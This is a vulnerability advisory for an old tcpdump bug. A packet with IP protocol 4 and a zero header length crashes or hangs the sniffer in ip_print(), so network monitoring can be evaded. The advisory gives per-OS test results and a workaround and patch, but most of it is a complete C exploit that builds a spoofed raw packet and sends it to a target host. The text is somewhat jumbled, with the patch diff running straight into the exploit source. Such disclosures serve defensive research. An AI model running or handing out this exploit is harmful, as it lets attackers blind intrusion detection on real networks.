source: http://www.securityfocus.com/bid/313/info A vulnerability in tcpdump causes it to enter an infinite loop within the procedure ip_print() from the file print_ip.c when it receives a packet with IP protocol number four and a zero header length and it tries to print it. This may allow remote malicious users to evade network monitoring. /* tcpdump bug 3.4a? by BLADI ([email protected]); On receiving an ip packet with Protocol-4 and ihl=0, tcpdump enters an infinite loop within the procedure ip_print() from file print_ip.c This happens because the header length (ihl) equals '0' and tcpdump tries to print the packet I've tried the bug in diferent OS's Linux: SuSE 6.x: K2.0.36 tcpdump consumes all the system memory K2.2.5 in less than a minute and hangs the system K2.2.9 or sometimes gives an error from the bus K2.3.2 K2.3.5 RedHat 5.2: K2.?.? tcpdump makes a segmentation fault to happen 6.0: K2.2.9 and it sometimes does a coredump Debian K2.2.? tcpdump makes a segmentation fault to happen and does a coredump Freebsd Segmentation fault & Coredump Thanks to: wb^3,Cagliostr Solaris Segmentation fault & Coredump Thanks to: acpizer Aix ? Hp-UX ? ------------------------------------------------------------- This tests have been carried out in loopback mode, given that protocol 4 won't get through the routers. It would be interesting to perform the attack remotely in an intranet. But i do not have access to one. ------------------------------------------------------------------------------ Thanks to: the channels: #ayuda_irc,#dune,#linux,#networking,#nova y #seguridad_inform�tica. from irc.irc-hispano.org Special thanks go to: Topo[lb],^Goku^,Yogurcito,Pixie,Void,S|r_|ce,JiJ79,Unscared etc... Thanks to Piotr Wilkin for the rip base code ;) And big thanks go to TeMpEsT for this translation. ------ I've found two ways of solving the problem Solution 1 execute: tcpdump -s 24 Solution 2 Apply this little patch. diff -r -p /tcpdump-3.4a6/tcpdump-3.4a6/print-ip.c /tcpdump-3.4a7/tcpdump-3.4a6/print-ip.c *** /tcpdump-3.4a6/tcpdump-3.4a6/print-ip.c Wed May 28 21:51:45 1997 --- /tcpdump-3.4a7/tcpdump-3.4a6/print-ip.c Tue Oct 27 05:35:27 1998 *************** ip_print(register const u_char *bp, regi *** 440,446 **** (void)printf("%s > %s: ", ipaddr_string(&ip->ip_src), ipaddr_string(&ip->ip_dst)); - ip_print(cp, len); if (! vflag) { printf(" (ipip)"); return; --- 440,445 ---- */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #include <errno.h> #include <netdb.h> struct icmp_hdr { struct iphdr iph; char text[15]; } encaps; int in_cksum(int *ptr, int nbytes) { long sum; u_short oddbyte, answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *)&oddbyte) = *(u_char *)ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } struct sockaddr_in sock_open(int socket, char *address,int prt) { struct hostent *host; struct sockaddr_in sin; if ((host = gethostbyname(address)) == NULL) { perror("Unable to get host name"); exit(-1); } bzero((char *)&sin, sizeof(sin)); sin.sin_family = PF_INET; sin.sin_port = htons(prt); bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length); return(sin); } void main(int argc, char **argv) { int sock, i,k; int on = 1; struct sockaddr_in addrs; printf("\t\tTCPDumper Ver 0.2 \n\t\t\tBy Bladi\n"); if (argc < 3) { printf("Uso: %s <ip_spoof> <dest_ip> \n", argv[0]); exit(-1); } encaps.text[0]=66; encaps.text[1]=76; encaps.text[2]=65; encaps.text[3]=68; encaps.text[4]=73; encaps.text[5]=32; encaps.text[6]=84; encaps.text[7]=90; encaps.text[8]=32; encaps.text[9]=84; encaps.text[10]=79;encaps.text[11]=32; encaps.text[12]=84;encaps.text[13]=79;encaps.text[14]=80;encaps.text[15]=79; sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) { perror("Can't set IP_HDRINCL option on socket"); } if (sock < 0) { exit(-1); } fflush(stdout); addrs = sock_open(sock, argv[2], random() % 255); encaps.iph.version = 0; encaps.iph.ihl = 0; encaps.iph.frag_off = htons(0); encaps.iph.id = htons(0x001); encaps.iph.protocol = 4; encaps.iph.ttl = 146; encaps.iph.tot_len = 6574; encaps.iph.daddr = addrs.sin_addr.s_addr; encaps.iph.saddr = inet_addr(argv[1]); printf ("\t DuMpInG %s ---> %s \n",argv[1],argv[2]); if (sendto(sock, &encaps, 1204, 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1) { if (errno != ENOBUFS) printf("Error :(\n"); } fflush(stdout); close(sock); }